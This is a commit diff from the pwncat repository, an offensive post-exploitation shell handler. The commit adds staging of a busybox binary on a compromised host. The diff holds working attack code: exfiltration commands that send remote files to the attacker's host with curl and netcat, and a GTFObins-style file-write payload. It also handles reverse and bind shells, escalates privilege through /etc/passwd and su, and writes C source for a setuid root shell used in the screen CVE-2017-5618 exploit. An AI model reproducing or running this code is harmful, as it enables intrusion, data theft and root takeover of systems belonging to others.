mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Added busybox staging. Still need to fix all the references to the new which method.
This commit is contained in:
parent
18e28be292
commit
96bdb89336
@ -3,6 +3,13 @@
|
||||
"name": "cat",
|
||||
"read_file": "{path} {lfile}"
|
||||
},
|
||||
{
|
||||
"name": "cp",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "TF=/tmp/.pwncat; echo {data} | base64 -d > $TF; {path} $TF ${lfile}; unlink $TF"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "bash",
|
||||
"shell": {
|
||||
|
@ -22,11 +22,18 @@ def main():
|
||||
mutex_group.add_argument(
|
||||
"--reverse",
|
||||
"-r",
|
||||
action="store_true",
|
||||
action="store_const",
|
||||
dest="type",
|
||||
const="reverse",
|
||||
help="Listen on the specified port for connections from a remote host",
|
||||
)
|
||||
mutex_group.add_argument(
|
||||
"--bind", "-b", action="store_true", help="Connect to a remote host"
|
||||
"--bind",
|
||||
"-b",
|
||||
action="store_const",
|
||||
dest="type",
|
||||
const="bind",
|
||||
help="Connect to a remote host",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--host",
|
||||
@ -47,13 +54,13 @@ def main():
|
||||
parser.add_argument(
|
||||
"--method",
|
||||
"-m",
|
||||
choices=["none", *PtyHandler.OPEN_METHODS.keys()],
|
||||
choices=[*PtyHandler.OPEN_METHODS.keys()],
|
||||
help="Method to create a pty on the remote host (default: script)",
|
||||
default="script",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.reverse:
|
||||
if args.type == "reverse":
|
||||
# Listen on a socket for connections
|
||||
util.info(f"binding to {args.host}:{args.port}", overlay=True)
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
@ -68,7 +75,7 @@ def main():
|
||||
except KeyboardInterrupt:
|
||||
util.warn(f"aborting listener...")
|
||||
sys.exit(0)
|
||||
else:
|
||||
elif args.type == "bind":
|
||||
util.info(f"connecting to {args.host}:{args.port}", overlay=True)
|
||||
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
client.connect((args.host, args.port))
|
||||
|
@ -15,7 +15,7 @@ class CurlDownloader(HTTPDownloader):
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
curl = self.pty.which("curl")
|
||||
curl = self.pty.which("curl", quote=True)
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}")
|
||||
|
@ -15,7 +15,7 @@ class NetcatDownloader(RawDownloader):
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
nc = self.pty.which("nc")
|
||||
nc = self.pty.which("nc", quote=True)
|
||||
remote_file = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}")
|
||||
|
@ -19,15 +19,17 @@ class RawShellDownloader(Downloader):
|
||||
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
blocksz = 1024 * 1024
|
||||
binary = self.pty.which("dd")
|
||||
binary = self.pty.which("dd", quote=True)
|
||||
|
||||
if binary is None:
|
||||
binary = self.pty.which("cat")
|
||||
binary = self.pty.which("cat", quote=True)
|
||||
|
||||
if "dd" in binary:
|
||||
pipe = self.pty.subprocess(f"dd if={remote_path} bs={blocksz} 2>/dev/null")
|
||||
pipe = self.pty.subprocess(
|
||||
f"{binary} if={remote_path} bs={blocksz} 2>/dev/null"
|
||||
)
|
||||
else:
|
||||
pipe = self.pty.subprocess(f"cat {remote_path}")
|
||||
pipe = self.pty.subprocess(f"{binary} {remote_path}")
|
||||
|
||||
try:
|
||||
with open(self.local_path, "wb") as filp:
|
||||
|
@ -14,7 +14,7 @@ from pwncat import util
|
||||
|
||||
# privesc_methods = [SetuidMethod, SuMethod]
|
||||
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
|
||||
privesc_methods = [SuMethod, SudoMethod, SetuidMethod, ScreenMethod]
|
||||
privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
|
||||
# privesc_methods = [ScreenMethod]
|
||||
|
||||
|
||||
@ -288,7 +288,8 @@ class Finder:
|
||||
raise PrivescError("privesc failed")
|
||||
|
||||
# We need su to privesc w/ file write
|
||||
if self.pty.which("su") is None:
|
||||
su_command = self.pty.which("su", quote=True)
|
||||
if su_command is None:
|
||||
raise PrivescError("privesc failed")
|
||||
|
||||
# Read the current content of /etc/passwd
|
||||
|
@ -24,7 +24,7 @@ from pwncat import util
|
||||
|
||||
class ScreenMethod(Method):
|
||||
|
||||
name = "screen CVE-2017-5618"
|
||||
name = "screen (CVE-2017-5618)"
|
||||
BINARIES = ["cc", "screen"]
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler"):
|
||||
@ -113,15 +113,15 @@ class ScreenMethod(Method):
|
||||
writer.write_file(
|
||||
rootshell_c,
|
||||
textwrap.dedent(
|
||||
"""
|
||||
f"""
|
||||
#include <stdio.h>
|
||||
int main(void){
|
||||
int main(void){{
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
seteuid(0);
|
||||
setegid(0);
|
||||
execvp("/bin/sh", NULL, NULL);
|
||||
}
|
||||
execvp("{self.pty.shell}", NULL, NULL);
|
||||
}}
|
||||
"""
|
||||
).lstrip(),
|
||||
)
|
||||
|
212
pwncat/pty.py
212
pwncat/pty.py
@ -15,6 +15,8 @@ from prompt_toolkit.document import Document
|
||||
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
|
||||
from prompt_toolkit.lexers import PygmentsLexer
|
||||
import subprocess
|
||||
import requests
|
||||
import tempfile
|
||||
import logging
|
||||
import argparse
|
||||
import base64
|
||||
@ -176,7 +178,7 @@ class PtyHandler:
|
||||
"script",
|
||||
]
|
||||
|
||||
def __init__(self, client: socket.SocketType):
|
||||
def __init__(self, client: socket.SocketType, has_pty: bool = False):
|
||||
""" Initialize a new Pty Handler. This will handle creating the PTY and
|
||||
setting the local terminal to raw. It also maintains the state to open a
|
||||
local terminal if requested and exit raw mode. """
|
||||
@ -190,8 +192,13 @@ class PtyHandler:
|
||||
self.known_users = {}
|
||||
self.vars = {"lhost": util.get_ip_addr()}
|
||||
self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]"
|
||||
self.remote_prompt = "\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ "
|
||||
self.remote_prompt = (
|
||||
"\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\["
|
||||
"\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ "
|
||||
)
|
||||
self.prompt = self.build_prompt_session()
|
||||
self.has_busybox = False
|
||||
self.busybox_path = None
|
||||
self.binary_aliases = {
|
||||
"python": [
|
||||
"python2",
|
||||
@ -204,6 +211,7 @@ class PtyHandler:
|
||||
"sh": ["bash", "zsh", "dash"],
|
||||
"nc": ["netcat", "ncat"],
|
||||
}
|
||||
self.has_pty = has_pty
|
||||
|
||||
# Setup the argument parsers for local the local prompt
|
||||
self.setup_command_parsers()
|
||||
@ -327,9 +335,114 @@ class PtyHandler:
|
||||
|
||||
self.privesc = privesc.Finder(self)
|
||||
|
||||
# Attempt to identify architecture
|
||||
self.arch = self.run("uname -m").decode("utf-8").strip()
|
||||
|
||||
# Force the local TTY to enter raw mode
|
||||
self.enter_raw()
|
||||
|
||||
def bootstrap_busybox(self, url, method):
|
||||
""" Utilize the architecture we grabbed from `uname -m` to grab a
|
||||
precompiled busybox binary and upload it to the remote machine. This
|
||||
makes uploading/downloading and dependency tracking easier. It also
|
||||
makes file upload/download safer, since we have a known good set of
|
||||
commands we can run (rather than relying on GTFObins) """
|
||||
|
||||
if self.has_busybox:
|
||||
util.success("busybox is already available!")
|
||||
return
|
||||
|
||||
busybox_remote_path = self.which("busybox")
|
||||
|
||||
if busybox_remote_path is None:
|
||||
|
||||
# We use the stable busybox version at the time of writing. This should
|
||||
# probably be configurable.
|
||||
busybox_url = url.rstrip("/") + "/busybox-{arch}"
|
||||
|
||||
# Attempt to download the busybox binary
|
||||
r = requests.get(busybox_url.format(arch=self.arch), stream=True)
|
||||
|
||||
# No busybox support
|
||||
if r.status_code == 404:
|
||||
util.warn(f"no busybox for architecture: {self.arch}")
|
||||
return
|
||||
|
||||
with ProgressBar(f"downloading busybox for {self.arch}") as pb:
|
||||
counter = pb(int(r.headers["Content-Length"]))
|
||||
with tempfile.NamedTemporaryFile("wb", delete=False) as filp:
|
||||
last_update = time.time()
|
||||
busybox_local_path = filp.name
|
||||
for chunk in r.iter_content(chunk_size=1024 * 1024):
|
||||
filp.write(chunk)
|
||||
counter.items_completed += len(chunk)
|
||||
if (time.time() - last_update) > 0.1:
|
||||
pb.invalidate()
|
||||
counter.stopped = True
|
||||
pb.invalidate()
|
||||
time.sleep(0.1)
|
||||
|
||||
# Stage a temporary file for busybox
|
||||
busybox_remote_path = (
|
||||
self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip()
|
||||
)
|
||||
|
||||
# Upload busybox using the best known method to the remote server
|
||||
self.do_upload(
|
||||
["-m", method, "-o", busybox_remote_path, busybox_local_path]
|
||||
)
|
||||
|
||||
# Make busybox executable
|
||||
self.run(f"chmod +x {shlex.quote(busybox_remote_path)}")
|
||||
|
||||
# Remove local busybox copy
|
||||
os.unlink(busybox_local_path)
|
||||
|
||||
util.success(
|
||||
f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}"
|
||||
)
|
||||
|
||||
else:
|
||||
# Busybox was provided on the system!
|
||||
util.success(f"busybox already installed on remote system!")
|
||||
|
||||
# Check what this busybox provides
|
||||
util.progress("enumerating provided applets")
|
||||
pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list")
|
||||
provides = pipe.read().decode("utf-8").strip().split("\n")
|
||||
pipe.close()
|
||||
|
||||
# prune any entries which the system marks as SETUID or SETGID
|
||||
stat = self.which("stat", quote=True)
|
||||
|
||||
if stat is not None:
|
||||
util.progress("enumerating remote binary permissions")
|
||||
which_provides = [f"`which {p}`" for p in provides]
|
||||
permissions = (
|
||||
self.run(f"{stat} -c %A {' '.join(which_provides)}")
|
||||
.decode("utf-8")
|
||||
.strip()
|
||||
.split("\n")
|
||||
)
|
||||
new_provides = []
|
||||
for name, perms in zip(provides, permissions):
|
||||
if "No such" in perms:
|
||||
# The remote system doesn't have this binary
|
||||
continue
|
||||
if "s" not in perms.lower():
|
||||
util.progress(f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox")
|
||||
new_provides.append(name)
|
||||
else:
|
||||
util.progress(f"pruning {Fore.RED}{name}{Fore.RESET} from busybox")
|
||||
|
||||
util.success(f"pruned {len(provides)-len(new_provides)} setuid entries")
|
||||
provides = new_provides
|
||||
|
||||
# Let the class know we now have access to busybox
|
||||
self.busybox_provides = provides
|
||||
self.has_busybox = True
|
||||
self.busybox_path = busybox_remote_path
|
||||
|
||||
def build_prompt_session(self):
|
||||
""" This is kind of gross because of the nested completer, so I broke
|
||||
it out on it's own. The nested completer must be updated separately
|
||||
@ -372,11 +485,18 @@ class PtyHandler:
|
||||
style=PwncatStyle,
|
||||
)
|
||||
|
||||
def which(self, name: str, request=True) -> str:
|
||||
def which(self, name: str, request=True, quote=False) -> str:
|
||||
""" Call which on the remote host and return the path. The results are
|
||||
cached to decrease the number of remote calls. """
|
||||
path = None
|
||||
|
||||
if self.has_busybox:
|
||||
if name in self.busybox_provides:
|
||||
if quote:
|
||||
return f"{shlex.quote(self.busybox_path)} {name}"
|
||||
else:
|
||||
return f"{self.busybox_path} {name}"
|
||||
|
||||
if name in self.known_binaries and self.known_binaries[name] is not None:
|
||||
# Cached value available
|
||||
path = self.known_binaries[name]
|
||||
@ -389,13 +509,16 @@ class PtyHandler:
|
||||
if name in self.binary_aliases and path is None:
|
||||
# Look for aliases of this command as a last resort
|
||||
for alias in self.binary_aliases[name]:
|
||||
path = self.which(alias)
|
||||
path = self.which(alias, quote=False)
|
||||
if path is not None:
|
||||
break
|
||||
|
||||
# Cache the value
|
||||
self.known_binaries[name] = path
|
||||
|
||||
if quote:
|
||||
path = shlex.quote(path)
|
||||
|
||||
return path
|
||||
|
||||
def process_input(self, data: bytes):
|
||||
@ -492,6 +615,31 @@ class PtyHandler:
|
||||
except KeyboardInterrupt:
|
||||
continue
|
||||
|
||||
@with_parser
|
||||
def do_busybox(self, args):
|
||||
""" Attempt to upload a busybox binary which we can use as a consistent
|
||||
interface to local functionality """
|
||||
|
||||
if args.action == "list":
|
||||
if not self.has_busybox:
|
||||
util.error("busybox hasn't been installed yet (hint: run 'busybox'")
|
||||
return
|
||||
util.info("binaries which the remote busybox provides:")
|
||||
for name in self.busybox_provides:
|
||||
print(f" * {name}")
|
||||
elif args.action == "status":
|
||||
if not self.has_busybox:
|
||||
util.error("busybox hasn't been installed yet")
|
||||
return
|
||||
util.info(
|
||||
f"busybox is installed to: {Fore.BLUE}{self.busybox_path}{Fore.RESET}"
|
||||
)
|
||||
util.info(
|
||||
f"busybox provides {Fore.GREEN}{len(self.busybox_provides)}{Fore.RESET} applets"
|
||||
)
|
||||
elif args.action == "install":
|
||||
self.bootstrap_busybox(args.url, args.method)
|
||||
|
||||
@with_parser
|
||||
def do_back(self, _):
|
||||
""" Exit command mode """
|
||||
@ -859,6 +1007,9 @@ class PtyHandler:
|
||||
command = f" {cmd}"
|
||||
|
||||
response = b""
|
||||
eol = b"\r"
|
||||
if self.has_cr:
|
||||
eol = b"\r"
|
||||
|
||||
# Send the command to the remote host
|
||||
self.client.send(command.encode("utf-8") + b"\n")
|
||||
@ -866,10 +1017,10 @@ class PtyHandler:
|
||||
if delim:
|
||||
if self.has_echo:
|
||||
# Recieve line ending from output
|
||||
self.recvuntil(b"_PWNCAT_STARTDELIM_")
|
||||
# print(1, self.recvuntil(b"_PWNCAT_STARTDELIM_"))
|
||||
self.recvuntil(b"\n", interp=True)
|
||||
|
||||
self.recvuntil(b"_PWNCAT_STARTDELIM_", interp=True) # first in output
|
||||
self.recvuntil(b"_PWNCAT_STARTDELIM_", interp=True)
|
||||
self.recvuntil(b"\n", interp=True)
|
||||
|
||||
return b"_PWNCAT_ENDDELIM_"
|
||||
@ -969,7 +1120,7 @@ class PtyHandler:
|
||||
self.upload_parser.add_argument(
|
||||
"--method",
|
||||
"-m",
|
||||
choices=uploader.get_names(),
|
||||
choices=["", *uploader.get_names()],
|
||||
default=None,
|
||||
help="set the download method (default: auto)",
|
||||
)
|
||||
@ -999,6 +1150,53 @@ class PtyHandler:
|
||||
|
||||
self.back_parser = argparse.ArgumentParser(prog="back")
|
||||
|
||||
self.busybox_parser = argparse.ArgumentParser(prog="busybox")
|
||||
self.busybox_parser.add_argument(
|
||||
"--method",
|
||||
"-m",
|
||||
choices=uploader.get_names(),
|
||||
default="",
|
||||
help="set the upload method (default: auto)",
|
||||
)
|
||||
self.busybox_parser.add_argument(
|
||||
"--url",
|
||||
"-u",
|
||||
default=(
|
||||
"https://busybox.net/downloads/binaries/"
|
||||
"1.31.0-defconfig-multiarch-musl/"
|
||||
),
|
||||
help=(
|
||||
"url to download multiarch busybox binaries"
|
||||
"(default: 1.31.0-defconfig-multiarch-musl)"
|
||||
),
|
||||
)
|
||||
group = self.busybox_parser.add_mutually_exclusive_group(required=True)
|
||||
group.add_argument(
|
||||
"--install",
|
||||
"-i",
|
||||
action="store_const",
|
||||
dest="action",
|
||||
const="install",
|
||||
default="install",
|
||||
help="install busybox support for pwncat",
|
||||
)
|
||||
group.add_argument(
|
||||
"--list",
|
||||
"-l",
|
||||
action="store_const",
|
||||
dest="action",
|
||||
const="list",
|
||||
help="list all provided applets from the remote busybox",
|
||||
)
|
||||
group.add_argument(
|
||||
"--status",
|
||||
"-s",
|
||||
action="store_const",
|
||||
dest="action",
|
||||
const="status",
|
||||
help="show current pwncat busybox status",
|
||||
)
|
||||
|
||||
def whoami(self):
|
||||
result = self.run("whoami")
|
||||
return result.strip().decode("utf-8")
|
||||
|
@ -7,6 +7,7 @@ from pwncat.uploader.curl import CurlUploader
|
||||
from pwncat.uploader.shell import ShellUploader
|
||||
from pwncat.uploader.bashtcp import BashTCPUploader
|
||||
from pwncat.uploader.wget import WgetUploader
|
||||
from pwncat.uploader.raw import RawShellUploader
|
||||
|
||||
all_uploaders = [
|
||||
NetcatUploader,
|
||||
@ -14,6 +15,7 @@ all_uploaders = [
|
||||
ShellUploader,
|
||||
BashTCPUploader,
|
||||
WgetUploader,
|
||||
RawShellUploader,
|
||||
]
|
||||
uploaders = [NetcatUploader, CurlUploader]
|
||||
fallback = ShellUploader
|
||||
@ -27,6 +29,9 @@ def get_names() -> List[str]:
|
||||
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]:
|
||||
""" Locate an applicable uploader """
|
||||
|
||||
if hint == "":
|
||||
hint = None
|
||||
|
||||
if hint is not None:
|
||||
# Try to return the requested uploader
|
||||
for d in all_uploaders:
|
||||
|
@ -132,6 +132,7 @@ class RawUploader(Uploader):
|
||||
|
||||
# Make sure it is accessible to the subclass
|
||||
local_path = self.local_path
|
||||
pty = self.pty
|
||||
|
||||
class SocketWrapper:
|
||||
def __init__(self, sock):
|
||||
@ -139,7 +140,7 @@ class RawUploader(Uploader):
|
||||
|
||||
def write(self, n: int):
|
||||
try:
|
||||
return self.s.sendall(n)
|
||||
return self.s.send(n)
|
||||
except socket.timeout:
|
||||
return b""
|
||||
|
||||
@ -150,6 +151,7 @@ class RawUploader(Uploader):
|
||||
with open(local_path, "rb") as filp:
|
||||
util.copyfileobj(filp, SocketWrapper(self.request), on_progress)
|
||||
self.request.close()
|
||||
pty.client.send(util.CTRL_C)
|
||||
|
||||
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
|
||||
|
||||
|
57
pwncat/uploader/raw.py
Normal file
57
pwncat/uploader/raw.py
Normal file
@ -0,0 +1,57 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
from io import BufferedReader
|
||||
import base64
|
||||
import shlex
|
||||
import socket
|
||||
import os
|
||||
|
||||
from pwncat.uploader.base import Uploader, UploadError
|
||||
from pwncat import util
|
||||
|
||||
|
||||
class RawShellUploader(Uploader):
|
||||
|
||||
NAME = "raw"
|
||||
BINARIES = ["dd"]
|
||||
BLOCKSZ = 8192
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Yield list of commands to transfer the file """
|
||||
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
file_sz = os.path.getsize(self.local_path) - 1
|
||||
|
||||
# Put the remote terminal in raw mode
|
||||
self.pty.raw()
|
||||
|
||||
self.pty.process(
|
||||
f"dd of={remote_path} bs=1 count={file_sz} 2>/dev/null", delim=False
|
||||
)
|
||||
|
||||
pty = self.pty
|
||||
|
||||
class SocketWrapper:
|
||||
def write(self, data):
|
||||
try:
|
||||
n = pty.client.send(data)
|
||||
except socket.error:
|
||||
return 0
|
||||
return n
|
||||
|
||||
try:
|
||||
with open(self.local_path, "rb") as filp:
|
||||
util.copyfileobj(filp, SocketWrapper(), self.on_progress)
|
||||
finally:
|
||||
self.on_progress(0, -1)
|
||||
|
||||
# Get back to a terminal
|
||||
self.pty.client.send(util.CTRL_C)
|
||||
self.pty.reset()
|
||||
|
||||
return False
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
""" We don't need to start a server, but we do need to save the
|
||||
callback """
|
||||
self.on_progress = on_progress
|
Loading…
Reference in New Issue
Block a user